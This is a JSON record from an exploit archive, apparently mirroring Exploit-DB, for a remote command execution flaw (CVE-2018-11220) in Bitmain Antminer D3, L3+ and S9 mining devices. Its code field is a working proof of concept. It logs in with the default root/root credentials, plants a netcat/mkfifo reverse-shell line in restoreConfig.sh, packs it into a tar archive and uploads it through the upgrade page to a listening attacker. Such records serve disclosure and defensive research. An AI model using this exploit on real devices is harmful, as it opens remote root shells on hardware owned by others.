{"exploit":{"id":"EDB-44779","name":"Bitmain Antminer D3/L3+/S9 - Remote Command Execution","description":"Bitmain Antminer D3/L3+/S9 - Remote Command Execution","cves":["CVE-2018-11220"],"author":"CorryL","published":"2018-05-27","platform":"hardware","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/44779","path":"exploits/hardware/remote/44779.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-44779.txt","vulnerabilities":[{"id":"CVE-2018-11220","state":"PUBLISHED","title":null,"titleSource":null,"description":"Bitmain Antminer D3, L3+, and S9 devices allow Remote Command Execution via the system restore function.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-11220","cvss":{"version":"3.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-11220"},"updatedAt":"2024-08-05T08:01:52.461Z","retrievedAt":"2026-11-26T22:07:23.990Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-44779.png?v=2","url":"https://exploitbin.com/exploits/EDB-44779","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-44779/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-44779/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Bitmain Antminer D3, L3+, and S9 devices allow Remote Command Execution\n# Google Dork: N/A\n# Date: 27/05/2018\n# Exploit Author: Corrado Liotta\n# Vendor Homepage: https://www.bitmain.com/\n# Software Link: N/A\n# Version: Antminer - D3, L3+, S9, and other\n# Tested on: Windows/Linux\n# CVE : CVE-2018-11220\n\n#Description\n\nThe software used by the miners produced by the bitmain (AntMiner) is\naffected by a vulnerability of remote code execution type, it is possible\nthrough the \"Retore Backup\" functionality of the administration portal to\nexecute commands on the system. This would allow a malicious user with\nvalid credentials to access the entire file system with administrative\nprivileges.\n\n#POC\n\nLogin on Antminer Configuration Portal (Default Credential: root/root)\n\n1) Create a file named:\n\nrestoreConfig.sh\n\n2) insert inside:\n\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc your_ip your_port\n>/tmp/f\n\n3) Generate archive by inserting the file created before:\n\nExploit.tar\n\n4) Launch net cat and upload file:\n\nnc -vv -l -p port\n\nsystem --> upgrade --> upload archive","sha256":"8fbaa1d8e0f3ccaf44f0d0b3bfa66ee858d9bdc2b14a824fd5b65910b2053d18","bytes":1093,"fetchedAt":"2026-11-26T22:07:22.245Z","encoding":"utf-8 (display only; download retains original bytes)"}